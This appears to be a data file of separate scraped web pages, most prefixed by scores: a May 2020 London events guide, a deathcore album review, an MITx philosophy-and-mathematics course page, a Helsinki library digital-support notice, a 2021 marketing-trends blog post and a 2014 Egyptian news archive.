101 Dalmatians Open Air Theatre, Regent's Park, Inner Circle, Regent's Park London, NW1 4NR Theatre Open Air Theatre, Regent's Park, Inner Circle, Regent's Park, Regent's Park, London, NW1 4NR Tube: Regent's Park Station Dates: 16th May - 21st June 2020 Enlarge Close Opening the 2020 summer season at the outdoor theatre in Regent's Park, 101 Dalmatians is the first musical to be commissioned by the Open Air Theatre. Based on Dodie Smith's much loved story about the crazed Cruella De Ville who wants to use the fur of spotty puppies to make a coat, the production is directed by Timothy Sheader, with puppetry by Toby Olie, the War Horse puppeteer who co-directed The Elephantom. For this production Toby is designing and directing the cast of canine characters. With a book by Zinnie Harris and music and lyrics by Douglas Hodge and set and costume design by Katrina Lindsay (responsible for the costume designs in Harry Potter and the Cursed Child) the strong creative team includes choreographer Liam Steel with musical supervision and orchestrations by Sarah Travis and musical direction by Tarek Merchant. The MoonWalk London A bold and bright night-time walk to raise money for a breast cancer charity. The MoonWalk London Clapham Common, Windmill Drive London, SW4 9DE Sporting Events Clapham Common, Windmill Drive, Battersea, London, SW4 9DE Tube: Clapham South Station Dates: 16th May 2020 Enlarge Close A colourful night-time power walking marathon, where the participants bare their colourfully decorated bras, the MoonWalk is a fun way to raise money for Walk the Walk - a breast cancer charity supporting medical research and care. This year there's a carnival theme so you can expect the walkers to stride out in some outrageous outfits and flamboyant underwear done up in feathers and sequins. Those that set out from Clapham Common get a fantastic evening tour past London's architectural highlights as well as the satisfaction of raising money for charity. Open Air Theatre An annual highlight on London's summer calendar with a whole season of al fresco performances. Open Air Theatre Open Air Theatre, Regent's Park, Inner Circle, Regent's Park London, NW1 4NR Theatre Open Air Theatre, Regent's Park, Inner Circle, Regent's Park, Regent's Park, London, NW1 4NR Tube: Regent's Park Station Dates: 16th May - 19th September 2020 Enlarge Close A mainstay of summer in London, the Regent's Park Open Air Theatre opens its gates for another season of al fresco drama in 2020, opening with their first newly commissioned musical, 101 Dalmatians, with puppetry designed and directed by Toby Olie. Then comes Romeo and Juliet, Shakespeare's timeless story of two young people torn apart, directed by Kimberley Sykes. Timothy Sheader reunites with Jesus Christ Superstar choreographer Drew McOnie for Rodgers and Hammerstein's Carousel, a marvellous musical with a score that includes 'If I Loved You' and 'You'll Never Walk Alone'. For younger viewers, Dragons and Mythical Beasts presents a new 50-minute daytime show by Nicoll Entertainment and the team behind Dinosaur World Live. Enter a magical world of myths and legends in this fantastical new interactive show. Renaissance Watercolours: from Durer to Van Dyck An exploration of the development of watercolour painting through the display of 200 masterpieces. Renaissance Watercolours: from Durer to Van Dyck Victoria and Albert (V & A) Museum, Cromwell Road London, SW7 2RL Exhibitions Victoria and Albert (V & A) Museum, Cromwell Road, London, SW7 2RL Tube: South Kensington Station Dates: 16th May - 20th September 2020 Enlarge Close This spring, the V&A explores the development of watercolour painting during the Renaissance and the Age of Discovery with its new exhibition, Renaissance Watercolours: from Durer to Van Dyck. The exquisite medium will be shown in its best light through the display of 200 rarely seen masterpieces that illustrates them as a unified art form for the first time. Visitors will see how watercolour painting has played a vital role in our understanding, interpretation and documentation of the natural world with genres themed around landscape, natural history and portraiture. See works by seminal painters including Albrecht Durer, Nicholas Hilliard and Anthony van Dyck. A Bunch of Amateurs Ian Hislop and Nick Newman's comedy is a love letter to the world of amateur theatre. A Bunch of Amateurs Richmond Theatre, The Green, Surrey London, TW9 1QJ Theatre Richmond Theatre, The Green, Surrey, London, TW9 1QJ Tube: Richmond Station Dates: 18th - 23rd May 2020 Enlarge Close Keen to boost his flagging career, fading Hollywood action hero Jefferson Steele arrives in England to play King Lear in Stratford. That's the starting point for Ian Hislop and Nick Newman's comedy A Bunch of Amateurs, the very first play they wrote, which comes to Richmond Theatre as part of a UK tour. This "love letter to the world of amateur theatre" (as its authors describe it) follows the success of The Wipers Times and Trial By Laughter. The lead finds he's sharing the spotlight with a cast of enthusiastic amateur thespians and has to dig deep to find his inner strength - and discover his inner Lear. Julian Clary: Born To Mince The famously filthy comedian bares his soul in this outrageously camp show. Julian Clary: Born To Mince Bloomsbury Theatre, 15 Gordon Street London, WC1H 0AH Comedy Bloomsbury Theatre, 15 Gordon Street, London, WC1H 0AH Tube: Euston Square Station , Euston Station, Warren Street Station Dates: 18th - 23rd May 2020 Enlarge Close In what promises to be an 'outrageously camp' evening, Julian Clary brings his show, Born to Mince, to the Bloomsbury Theatre this May. The famously filthy comedian will bare his soul like never before, all the spirit of entertainment. There will be singing, there will be laughing and there will be plenty of innuendos. Audiences can also expect a sneak preview from Julian's new memoir, A Night At the Lubricant. Liza Pulman - The Heart of It The Fascinating Aida star returns to the London stage with her new show. Liza Pulman - The Heart of It Riverside Studios, 101 Queen Caroline Street London, W6 9BN Concerts Riverside Studios, 101 Queen Caroline Street, London, W6 9BN Tube: Hammersmith Station Dates: 18th - 24th May 2020 Enlarge Close After previously wowing audiences with her West End show Liza Pulman Sings Streisand, Fascinating Aida's Liza Pulman returns to the London stage with her new show, The Heart of It at Riverside Studios. The renowned singer and actress will be accompanied by some of the best musicians in the UK to lead audiences through the music of Sinatra, Michel Le Grand, Stevie Wonder and Randy Newman, reinventing a number of well-known timeless classics. Expect to be laughing and smiling one minute and then crying the next with a heart-warming blend of anecdotes and songs. Rubens: Reuniting the Great Landscapes Two of the artist's great landscapes are shown together for the first time in 200 years. Rubens: Reuniting the Great Landscapes Wallace Collection, Hertford House, Manchester Square London, W1U 3BN Exhibitions Wallace Collection, Hertford House, Manchester Square, London, W1U 3BN Tube: Bond Street Station Dates: 20th May - 13th September 2020 Enlarge Close In 2020, two landscapes by Peter Paul Rubens will be reunited for the first time in over two hundred years as part of a brand-new exhibition at The Wallace Collection. Rubens: Reuniting the Great Landscapes will place The Rainbow Landscape and A View of Het Steen in the Early Morning together in a striking display. Despite being painted as a companion pair and kept together in Rubens' own collection, the paintings were separated when they were brought to London in 1803. This new exhibition provides new insights into how the paintings were developed and also displays a newly commissioned documentary exploring Ruben's work. Lynette Yiadom-Boakye The first major survey of the revered London-based painter. Lynette Yiadom-Boakye Tate Britain, Millbank London, SW1P 4RG Exhibitions Tate Britain, Millbank, London, SW1P 4RG Tube: Pimlico Station Dates: 20th May - 31st August 2020 Enlarge Close Tate Britain presents the first major survey of London-based painter Lynette Yiadom-Boakye with a showcase of more than 80 paintings and works on paper by the celebrated British artist. Widely regarded as one of the most important painters of her generation, Yiadom-Boakye has become known for her enigmatic portraits of fictitious people with many works alluding to historic European portraiture while demonstrating contemporary techniques. Making waves in the art industry, Yiadom-Boakye was awarded the prestigious Carnegie Prize in 2018 and shortlisted for the Turner Prize in 2013. The Respectable Prostitute The first staging of Jean-Paul Sartre's in nearly 75 years. The Respectable Prostitute The Playground Theatre, Unit 8 Latimer Industrial Estate, Latimer Road London, W10 6RQ Theatre The Playground Theatre, Unit 8 Latimer Industrial Estate, Latimer Road, London, W10 6RQ Tube: White City Station Dates: 20th May - 16th June 2020 As part of its summer season, The Playground Theatre teams up with Jonathan Taylor Productions to present The Respectable Prostitute, the play by French philosopher Jean-Paul Sartre that spawned a major international film. Set in hot and steamy 1940s America, the play follows an innocent prostitute who wants to tell the truth about a brutal murder that's taken place in the midst of lies, fake news, racism and other daily affronts in the Deep South. This will be the first staging of the play in nearly 75 years. To Kill A Mockingbird Rhys Ifans takes on the lead role of small-town lawyer Atticus Finch. To Kill A Mockingbird Gielgud Theatre, Shaftesbury Avenue London, W1D 6AR Theatre Gielgud Theatre, Shaftesbury Avenue, London, W1D 6AR Tube: Piccadilly Circus Station , Leicester Square Station Dates: 21st May - 31st July 2020 Enlarge Close Rhys Ifans, recently seen in On Bear Ridge at the Royal Court Theatre, takes on the lead role of small-town lawyer Atticus Finch in To Kill a Mockingbird, the new play by Aaron Sorkin based on Harper Lee's Pulitzer Prize-winning novel. Set in Alabama in 1934, the enduring story has sold more than 45 million copies worldwide and 2020 marks the 60th anniversary of its publication. The cast of well known and much loved characters includes Atticus's daughter Scout, her brother Jem, their housekeeper and caretaker Calpurnia, their visiting friend Dill, a mysterious neighbour the reclusive Arthur 'Boo' Radley. This story of racial injustice and the loss of childhood innocence is directed by Bartlett Sher who says, "what I most love about the story is this question of 'how do kids learn about justice?'". All Points East Tame Impala and Glass Animals, Kraftwerk 3D and Iggy Pop play in Victoria Park. All Points East Victoria Park, Grove Road, Tower Hamlets London, E3 5SN Concerts Victoria Park, Grove Road, Tower Hamlets, London, E3 5SN Tube: Mile End Station Dates: 22nd - 31st May 2020 Enlarge Close London's hottest new music festival, All Points East, is back for its third year in 2020, taking place over two May weekends at Victoria Park along with four days of midweek fun. To kick things off, there's a three day music festival with appearances from headliners Tame Impala and Caribou as well as Glass Animals and Whitney. It's followed by a four-day community-focused midweek programme of comedy, food, outdoor cinema and more. Then comes a long weekend of three back to back shows with Kraftwerk 3D, Iggy Pop, Chromatics and Johnny Mar. Fantastic Beasts: The Wonder of Nature Meet amazing creatures from the natural, mythical and wizarding worlds. Fantastic Beasts: The Wonder of Nature Natural History Museum, Cromwell Road London, SW7 5BD Exhibitions Natural History Museum, Cromwell Road, London, SW7 5BD Tube: South Kensington Station , Gloucester Road Station Dates: 22nd May - 03rd January 2021 Enlarge Close Discover the real life creatures, specimens and artefacts from the Natural History Museum's collection which could just as easily feature in J.K. Rowling's Fantastic Beasts. A partnership between the Natural History Museum, the BBC and Warner Bros. Fantastic Beasts: The Wonder of Nature - the museum's most ambitious exhibition to date - recreates remarkable animals in all their fantastic forms. Creatures from the natural, mythical worlds and the Wizarding World are represented by scientific specimens and historic objects as well as digital installations and characters from the wizarding world. See a tiger and a Galapagos marine iguana alongside an Erumpent horn and the dragon skull from Professor Lupin's classroom. Learn about conservationists like Newt Scamander who dedicates his life to better understanding the beasts and you'll leave with a better understanding of why protecting wildlife and the environment is so important. Foodies Festival, Syon Park Three days of foodie fun with top chefs and MasterChef champions. Foodies Festival, Syon Park Syon Park, London Road, Brentford London, TW8 8JF Foodie Events Syon Park, Road, Brentford, London, TW8 8JF Tube: Richmond Station Dates: 23rd - 25th May 2020 Enlarge Close The Foodies Festival returns to Syon Park this spring bringing MasterChef winners and famous chefs to leafy west London on the second Bank Holiday weekend in May. This year's line-up of culinary elite includes MasterChef Champion Dhruv Baker, Arnaud Stevens of Plate, Andrew Cole of Bingham Riverhouse and Kerth Gumbs of Ormer Mayfair. There's also a drinks theatre and live music stage as well as workshops, over 20 street food outlets, the Pimms Teapot, cookery classes for kids and garden games and crafting. The Last Word The three-week spoken word festival returns. The Last Word Roundhouse, Chalk Farm Road London, NW1 8EH Exhibitions Roundhouse, Chalk Farm Road, London, NW1 8EH Tube: Chalk Farm Station Dates: 26th May - 18th June 2020 Enlarge Close The Roundhouse celebrates the spoken word this May with the return of its three-week festival, The Last Word. Bringing together the biggest names and rising stars in the industry, it offers a line-up of poetry, podcasts, sound clashes, supper clubs and shows, blurring the lines between spoken word, music and film to provoke conversations around issues in today's society. One of the annual highlights on the line-up, the Poetry Slam Final returns with talent from all around the UK competing for the winning spot after the regional heats. Further events on the line-up include interactive show The Money, giving players the opportunity to work with a set of strangers in the hope of reaching a unanimous decision on what to spend a sum of money on; The Receipts, an intimate studio session from the acclaimed culture podcast; and British Book, which uses spoken word, poetry and live music to follow two siblings navigating their way through the UK immigration system. Pet Shop Boys Neil Tennant and Chris Lowe tour with their greatest hits for the first time. Pet Shop Boys The O2 Arena, Peninsula Square London, SE10 0BB Concerts The O2 Arena, Peninsula Square, London, SE10 0BB Tube: North Greenwich Station Dates: 28th May 2020 Enlarge Close The London-based duo Neil Tennant and Chris Lowe tour with their greatest hits for the first time, begin the seven date UK tour at The O2 on Thursday 28th May 2020. The Pet Shop Boys will be playing songs from their new album, Dreamworld, which encompasses all their hits from the past 30 years but also includes a new single featuring Years & Years. The duo have undoubtedly withstood the test of time - 35 years into their career, the Boys have sold more than 50 million albums and notched over 20 Top 10 hits with their infectious, catchy brand of "high-end, high-art disco pop for mind and body" (The Guardian). Constantly evolving - collaborators have included Girls Aloud, Kylie, The Killers and Lady GaGa. Arctic: Culture and Climate Uncovering the people and culture of the most northern region in the world. Arctic: Culture and Climate British Museum, Great Russell Street London, WC1B 3DG Exhibitions British Museum, Great Russell Street, London, WC1B 3DG Tube: Tottenham Court Road Station , Russell Square Station, Holborn Station Dates: 28th May - 23rd August 2020 Enlarge Close On of the earth's coldest regions, the Arctic and its indigenous peoples, come under the spotlight at a major British Museum exhibition this spring. Select tools and clothing, artworks and objects used in everyday life are displayed to show how these resilient communities have lived in one of the most dramatic environments on the planet for nearly 30,000 years. Rare objects include 28,000 year old archaeological finds excavated from the thawing ground in Siberia and an 8-piece Igloolik winter costume made of caribou fur. The exhibition reveals the great diversity of cultures and the effect of global warming, showing how communities respond to dramatic shifts in the changing landscape in the most northern region of the world. Elektra A new production of Richard Strauss's Greek tragedy. Elektra Royal Opera House, Bow Street London, WC2E 9DD Concerts Royal Opera House, Bow Street, London, WC2E 9DD Tube: Covent Garden Station , Leicester Square Station Dates: 29th May - 18th June 2020 Enlarge Close This summer you can see a new production of Richard Strauss's Greek tragedy Elektra by German director Christof Loy who staged an "intelligent production" (The Guardian) of Forza del Destino here at the Royal Opera House last year. The "powerful soprano" (Schmopera) Nina Stemme played an "unparalleled" Elektra at the Lyric Opera of Chicago last year and reprises her part in the title role. This passionate opera is about a father who sacrifices a daughter and a wife who kills her husband provoking their daughter to seek bloody revenge. No wonder is has the same power to shock as it did when it first premiered in 1909. Antonio Pappano conducts his first Strauss interpretation for The Royal Opera since 2002 while Finnish soprano Karita Mattila plays queen Klytamnestra for the first time. IN THIS ARTICLE On Point: Royal Academy of Dance at 100 Breakin' Convention Canalway Cavalcade Ross Noble: Humournoid Sneakers Unboxed: Studio to Street The Watsons Photo London 101 Dalmatians The MoonWalk London Open Air Theatre Renaissance Watercolours: from Durer to Van Dyck A Bunch of Amateurs Julian Clary: Born To Mince Liza Pulman - The Heart of It Rubens: Reuniting the Great Landscapes Lynette Yiadom-Boakye The Respectable Prostitute To Kill A Mockingbird All Points East Fantastic Beasts: The Wonder of Nature Foodies Festival, Syon Park The Last Word Pet Shop Boys Arctic: Culture and Climate Elektra RELATED ARTICLES London Events 2020 January in London 2020 February in London 2020 March in London 2020 April in London 2020 May in London 2020 June in London 2020 July in London 2020 Best New Openings in London in 2020 London Hotels From cheap budget accommodation to luxury 5 star suites see our special offers for hotels, including Holiday Inn London Kensington Forum from 56% off.
0.999329	Home » All Posts » Deathcore » down-tempo » Exclusive » Genre » Reviews » REVIEW: Filth – The Burden of Isolation [2018] REVIEW: Filth – The Burden of Isolation [2018] July 15, 2018 Connor Welsh Off All Posts, Deathcore, down-tempo, Exclusive, Genre, Reviews, Artist: Filth Album: The Burden of Isolation Ever been alone? Of course you have. Maybe only for a little, maybe your entire life. But you’ve felt it. You know how deep that cold sensation of abandonment can penetrate into your bones. You know how it plays games with your mind—makes you see things that aren’t real and hear things that aren’t there. You know what it’s like to play games against the darkness and loneliness and lose every single time. And if you’ve moved past it—good for you—but with Filth’s debut full-length record, you’re going to feel it again. The same band that has consecutively revived many listener’s faith in the low’n’slow variety of dark and dismal deathcore, Filth are back with their first LP, and, for lack of a better term, it’s a doozy. More aggressive and intense than the band has ever been, and ever-evolving in their attempt to add new influences and sounds into their backbone of brutalizing downtempo deathcore, The Burden of Isolation sees Filth sonically exploring the true meaning of the word alone, and coming up with a definition that even Merriam-Webster would have a hard time topping. This entire review could be accurately summarized with one sentence: Filth are back. If you stop reading here, that’s fine—I don’t blame you—but not only are they back, they’re back with a vengeance. “Seventh Seal” sets the tone for the sonic slab of rotting flesh that Filth deliver with every track on The Burden of Isolation, and with every smack of percussionist Kevin Daniels’ kick drum and every lethal groove that pours forth from Sean Britt’s booming bass, the band grow more and more oppressive. Together, Britt and Daniels provide the ground level to the towering goliath that is Filth; and where some cuts, like portions of “Hedonist” and “Deprivation” see the duo moving more quickly (relative to their snail’s pace sludgy norm), other songs—“Collapse II” and “Idle Hands”—are just utter aural abuse, with the duo taking their sweet time in crafting breakdowns that bash bone into fine dust. The duo work to give guitarists David Gantt and Zared Hardin the baseline they need to create some of the most crushing breakdowns downtempo deathcore has ever seen. (well, or heard). Now—true—the genre is monotonous in its very nature, but Hardin and Gantt absolutely obliterate that stereotype, adding eerie effects, occasional nu-metal influence and the not-uncommon groovy riff into the mix to keep The Burden of Isolation from becoming a burden of boredom. “Idle Hands” is an excellent example of this—as is the bone-chilling “Deprivation” and “Mirrors.” Together, the duo spend most of their time crafting immense breakdowns and insanely heavy dirges, but they aren’t without variety, further establishing Filth as a unique and worthwhile band in a genre that gets a (somewhat deserved) bad wrap. Then, there’s frontman Dustin Mitchell. Mitchell has always been a tremendous voice—and hell, he’d have to be in order to do justice to Filth—but with each release he has improved, and on The Burden of Isolation, he has grown tenfold over Filth’s previous effort. Here, Mitchell is simply absurd, and if you didn’t get the memo from hearing the second single, “Hedonist,” then you need to get your ears checked. Just about every track on the Burden of Isolation sees Mitchell’s range expanding to new depths and screeching highs, where other choice cuts—“Deprivation” and “Hedonist” among them—see eerie vocal styles, including cleanly sung segments and verses muttered in an almost trance-like state. Mitchell is another wellspring of diversity for Filth, keeping the listener engaged and on board, refusing to succumb to the notion that all downtempo deathcore need be boring and lackluster, as anyone who hears Mitchell’s voice in destructive dialectic with Gantt’s guitar work and Britt’s bass will be hard pressed to call anything about it boring. Filth live up to their name—enough said. However, they do more than that; they exceed it, casting previous notions of their abyssal heaviness to shame. The Burden of Isolation is back-breakingly heavy in all respects, while adding a little catchiness, bounce and eerie atmosphere into the mix, making it a testament to the band’s ingenuity and determination to deliver nothing but the most addictingly oppressive music one can imagine. 9.5/10 For Fans Of: Bodysnatcher, Genocide District, Traitors, Black Tongue By: Connor Welsh Share this: Twitter Facebook Tags: 2018, deathcore, Downtempo, Downtempo Deathcore, Filth, review Related posts REVIEW: Newcomer – Between the Briny Devil & Thee, Conqueror of Eighth Sea City [2021] Artist: NewcomerAlbum Between the Briny Devil & Thee, Conqueror of Eighth Sea City Newcomer—while a fitting name for the angsty and aggressive demeanor that kickstarted... REVIEW: Signs of the Swarm – Absolvere [2021] Artist: Signs of the Swarm Album: Absolvere Freedom means a lot of things to a lot of people—it can be represented as an object,...
0.999707	I would like to receive email from MITx and learn about other offerings related to Paradox and Infinity. Estimated 12 weeks 5–6 hours per week Instructor-paced Instructor-led on a course schedule Free Optional upgrade available Paradox and Infinity About About What you'll learn Syllabus Instructors FAQs Ways to enroll About this course Skip About this course In Paradox and Infinity, you will be introduced to highlights from the intersection of philosophy and mathematics. The class is divided into three modules: Infinity: Learn about how some infinities are bigger than others, and explore the mind-boggling hierarchy of bigger and bigger infinities. Time Travel and Free Will : Learn about whether time travel is logically possible, and whether it is compatible with free will. Computability and Gödel's Theorem : Learn about how some mathematical functions are so complex, that no computer could possibly compute them. Use this result to prove Gödel's famous Incompleteness Theorem. Paradox and Infinity is a math-heavy class, which presupposes that you feel comfortable with college-level mathematics and that you are familiar with mathematical proofs. Learners who display exceptional performance in the class are eligible to win the MITx Philosophy Award. High School students are eligible for that award and, in addition, the MITx High School Philosophy award. Please see the FAQ section below for additional information. Note: learners who do well in Paradox will have typically taken at least a couple of college-level classes in mathematics or computer science. On the other hand, Paradox does not presuppose familiarity with any particular branch of mathematics or computer science. You just need to feel comfortable in a mathematical setting. Show more At a glance Institution: MITx Subject: Philosophy & Ethics Level: Intermediate Prerequisites: Experience in college-level mathematics or computer-science maybe helpful. Language: English Video Transcript: English What you'll learn Skip What you'll learn You will learn how to prove a number of beautiful theorems, including Cantor's Theorem, the Banach-Tarski Theorem, and Gödel's Theorem. You will acquire the ability to think rigorously about paradoxes and other open-ended problems. You will learn about phenomena at the boundaries of our theorizing, where our standard mathematical tools are not always effective. Show more Syllabus Skip Syllabus Module 1: INFINITY Week 1 Infinite Cardinalities Week 2 The Higher Infinite Week 3 Omega-Sequence Paradoxes Module 2: DECISIONS, PROBABILITIES AND MEASURES Week 4 Time Travel Week 5 Newcomb's Problem Week 6 Probability Week 7 Non-Measurable Sets Week 8 The Banach-Tarski Theorem Module 3: COMPUTABILITY AND GÖDEL'S THEOREM Week 9 Computability Week 10 Gödel's Theorem Show more About the instructors Frequently Asked Questions Skip Frequently Asked Questions Verified learners will be eligible for the MITx Philosophy Award and the MITx High School Philosophy Award. The awards will recognize outstanding work and will be certified by the MIT Philosophy department. Please visit the MIT Philosopy Department website for additional information on the Award and eligibility on the Philosophy Prize, as well as a list of winners from past years: http://web.mit.edu/philosophy/mitx.html. Show more Who can take this course? Unfortunately, learners residing in one or more of the following countries or regions will not be able to register for this course: Iran, Cuba and the Crimea region of Ukraine. While edX has sought licenses from the U.S. Office of Foreign Assets Control (OFAC) to offer our courses to learners in these countries and regions, the licenses we have received are not broad enough to allow us to offer this course in all locations. edX truly regrets that U.S. sanctions prevent us from offering all of our courses to everyone, no matter where they live.
0.949517	During the COVID-19 pandemic, many services have moved online – just how to use them without previous experience? We are not only talking about reading e-books or watching movies, but also official services. In libraries, we are always happy to help you solve digital problems! "The library helped me with a difficult and important question: I needed to fill in a form to get a traveller’s passport of the Russian Federation from the embassy in Helsinki," says Svetlana Tkacheva, a customer of digital support. "If any of my acquaintances have such difficulties, I will definitely recommend seeking advice from the library!" Digital support has been offered in Helmet libraries for several years. You can sign up for personal guidance in many kinds of digital topics in four languages: Finnish, Swedish, English, and Russian. "Most of the time, customers turn to us for help with filling in and sending forms to different organizations (KELA, Tax Administration, police) and for scanning and sending documents," says Irina Golysheva, a library pedagogue at Sello Library, who guides digital support customers in Russian. “You can ask us for help in using e.g. email or mobile apps such as WhatsApp, Viber or Skype. We aim to help our customers with all matters related to the basic use of smart devices. For complex issues that require specialized expertise, we'll help you find the right support provider." For example, digital support helps with these issues: basics of working with a computer and mobile devices installation and updating of computer programs and mobile applications information retrieval Internet, email, and social media editing and saving digital images e-books and other digital materials library’s online services various other online services The service is available to customers of all ages. We also guide you through the implementation of library services designed for people with disabilities and other special needs, such as the Celia Library. During the COVID-19 pandemic, digital support is only available remotely. As soon as libraries return to normal work, guidance will also be available on the library premises. You can sign up for a free guidance by filling in this online form (choose your preferred language in the top right corner). You may also call us:
0.946243	While at this time last year, no one could have predicted exactly how 2020 would end up playing out, it doesn’t stop experts from making predictions about upcoming marketing trends for 2021. If you think about how culture has changed this year, these trends will make a lot of sense and are ideas that you should take into consideration when planning your marketing strategy for next year. One of the major ways that culture has changed this year is that with Covid-19, people are spending much more time online. This is due to quarantining requirements, stay at home orders, as well as nationwide efforts to slow the spread. With people spending more time online, they are also likely using this time to research products and services they need more heavily prior to making a decision. They are also finding and connecting with businesses online through Google and social media platforms. Because of all of this, having a strong online presence can help add to the success of your business in the coming year. Here are some upcoming marketing trends for 2021 that you will seriously want to consider incorporating into your business. Optimized Local SEO While you may have the idea that you want to reach as many people as possible online, casting a wide net may make it less likely that you will reach the exact people you are looking for. If you are a local business-to-customer operation, you will want to make sure that your local SEO is enhanced to the best of your ability. This will ensure that you are showing up to those in your area looking for services that you can provide. Optimizing local SEO is a task that can be completed by our marketing team. [Related article: Boost Your Local Marketing With These Tactics] Interactive Content Content marketing is still an all-important strategy, but when combined with interactive content can pack an even more powerful punch. The goal of interactive content is to help retain users to your website, provide them with an excellent experience. At the same time, this may help to boost your SEO. One often used example of interactive content would be a real estate agent’s website providing a mortgage calculator. Enhanced Social Media Profiles Social media had already marked a prominent position in business strategies. Social media platforms, especially Instagram, this year have launched new features in order to compete with other social media platforms. Those profiles that are taking advantage of and using these new features are among the ones that are going to show up to more of their followers. If you haven’t revisited your social media strategy in a while, now is the time. It will help you compete better where your ideal audience may be looking. [Related article: 5 Quotes To Inspire You To Use Social Media For Your Business] Now that you have a heads up on upcoming marketing trends for 2021, are you ready to take your marketing strategy to the next level? To implement any of these strategies into your business plan for next year, contact Connections Healthcare Strategies for help. On December 1, 2020 / Connections Blog / Leave a comment Leave a Reply Cancel reply Comment Name (required) Email (will not be published) (required) Website Request your Strategy Session today! Ready to start? Request your Strategy Session for a personalized, custom marketing strategy from a Connections consultation.
0.971381	Day 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Month 1 2 3 4 5 6 7 8 9 10 11 12 Year 2016 2017 2018 2019 2020 Go to archive Latest News: \| New defendants accused of burning church in Minya arrested \| Coptic child killed by MB members taking revenge \| Beni Suef Criminal Court considers Diabia's Copts remanded custody tomorrow \| The accused of attacking St. Mary Church in Manshyet Nasser arrested \| Two Christian Pakistani couple executed for insulting Prophet Mohamed Toggle navigation Home News Pope Shenouda Article of the day Opinion Copts & poliltical islam Short but not sweet Advanced Search Home News Monday ,07 April 2014 Saudi Arabia releases 35 Egyptian fishermen Saudi Arabia released on Sunday 35 Egyptian fishermen who were arrested 37 days ago for violating its territorial waters. Egypt court sentences police captain in southern province to death An Egyptian court on Saturday sentenced a police officer to death for the 2012 killing of two men in the southern province of Qena, state news agency MENA reported. Monday ,07 April 2014 Monday ,07 April 2014 Libyan gunmen free detained Egyptian trucks Egyptian trucks detained by militiamen in Libya were freed late on Saturday after the Egyptian government contacted the Libyan authorities over the matter, officials said Egyptian law shielding state deals set to go to cabinet - minister A law banning third-party challenges to contracts signed by the Egyptian government will be sent to the cabinet by next week, trade and investment minister Mounir Fakhry Abdel Nour said on Sunday. Monday ,07 April 2014 Monday ,07 April 2014 Family feud resumes in southern egypt, killing 2 Clashes between an Arab clan and a Nubian family resumed Sunday in Egypt's south, killing two people and wounding four, health officials said, leaving the tourist city of Aswan on the edge despite a high-profile government effort to end the bloodshed. Mubarak: Sisi only one fit for president Former President Hosni Mubarak argued in a telephone recording with Al-Masry Al-Youm journalist Mohsen Semaika that former Defense Minister Abdel Fattah al-Sisi is the most viable option for president. Friday ,04 April 2014 Friday ,04 April 2014 Egypt: FM - Egypt Offers to Finance Ethiopia's Renaissance Dam During his speech before the Royal Institute for International Relations, Foreign Minister Nabil Fahmy said that Egypt offered to finance the construction of the Ethiopian Renaissance dam and suggested that the dam would be run by a joint committee from the two countries. Cairo University allows police on campus 'immediately' Cairo University's board of deans decided on Thursday to allow police to be immediately stationed inside the university's campus, a day after three bombs killed a senior police officer near the university's gates and injured five others. Friday ,04 April 2014 Friday ,04 April 2014 Policeman shot and killed in northern Sinai Gunmen shot and killed a policeman Thursday in the restive Sinai Peninsula, the latest in a series of hiking attacks on police and army personnel, a security source told Al Ahram Arabic news website. Egypt's govt to issue LE20 bn t-bonds to reimburse pension funds as of Jan 2015 Egypt’s finance ministry has approved the repayment of LE20 billion ($2.8 billion), the remainder of the treasury's debt to two Egyptian insurance funds – one for public employees and the other for those working in the private sector, the ministry announced on Thursday. Friday ,04 April 2014 Thursday ,03 April 2014 Blackouts in Egypt will be reduced, but not ended: Electricity officials Following two days of increased power cuts, Egypt's government on Wednesday announced plans to increase the country's supply of electricity by importing natural gas and diesel in the short term and beginning construction on three new power plants. Egypt PM calls emergency meeting after Cairo Uni bombings Egyptian Prime Minister Ibrahim Mahlab has called an emergency meeting to discuss the bombings at Cairo University. Thursday ,03 April 2014 Thursday ,03 April 2014 CBE governor says US$3 billion paid to Qatar in December Central Bank of Egypt (CBE) Governor Hesham Ramez said that Egypt has not been late in paying for dues of the foreign investors, despite the ongoing circumstances. US embassy says Egypt apache helicopters will be ‘shipped back’ The U.S. embassy denied claims that Washington held onto Apache helicopters sent by Egypt for maintenance in an official statement released on April 1. Thursday ,03 April 2014 Thursday ,03 April 2014 Minister: More than 600,000 new voters added to database Major General Adel Labib, administrative and local development minister, said on Wednesday 625,864 new voters have been added to the database since the last update made since the referendum on constitutional amendments until 20 March. Retrial of Mubarak, others resumes on Wednesday Cairo Criminal Court resumed on Wednesday the retrial of deposed President Hosni Mubarak, his sons Alaa and Gamal, former Interior Minister Habib al-Adly, and six of his former deputies over killing protesters and financial corruption. Wednesday ,02 April 2014 Wednesday ,02 April 2014 Army spokesperson: 3 extremists killed in North Sinai raid The armed forces spokesperson Ahmed Ali announced on Tuesday the killing of three extremists and the arrest of 52 others during a raid in the cities of Sheikh Zuwaid, Arish, and Rafah, North Sinai. Clashes at Ain Shams and Cairo University Clashes broke out Tuesday when Ain Shams University students threw rocks and flames at security forces present on the university’s perimeter. Wednesday ,02 April 2014 Wednesday ,02 April 2014 Government borrows 4.5 billion EGP Monday The Central Bank of Egypt (CBE) auctioned 4.5 billion EGP ($645.8 million) in treasury bonds Monday on behalf of the Ministry of Finance, according to CBE’s statement on its website. Sabbahi’s campaign claims Sisi supporters committed ‘clear violations’ in proxy gathering A task force from the electoral campaign of presidential hopeful Hamdeen Sabbahi said on Tuesday that it saw clear violations committed by supporters of presidential candidate Field Marshal Abdel Fattah al-Sisi on the second day of gathering proxies for presidential elections. Wednesday ,02 April 2014 Tuesday ,01 April 2014 Door opens for presidential hopefuls to submit candidacies The door for application of presidential candidates opened on Monday. The Presidential Elections Committee (PEC) on Sunday announced that presidential hopefuls would have until 20 April to submit the required paperwork to qualify as candidates in upcoming elections. More Pope Shenouda Article Pope Tawadros weekly sermon 2 April 2014: The Holy Chrism Others What's the Chrism' oil? The word of chrism means fragrance or perfume which smell is good. Why do we make the Chrism? We make it in order to be placed instead of putting hand in the sacrament of Baptism. What do we use the Chrism in? We use it in consecrating the water of Baptism; the priest drops 4 drops to consecrate the water of Baptism during the prayers
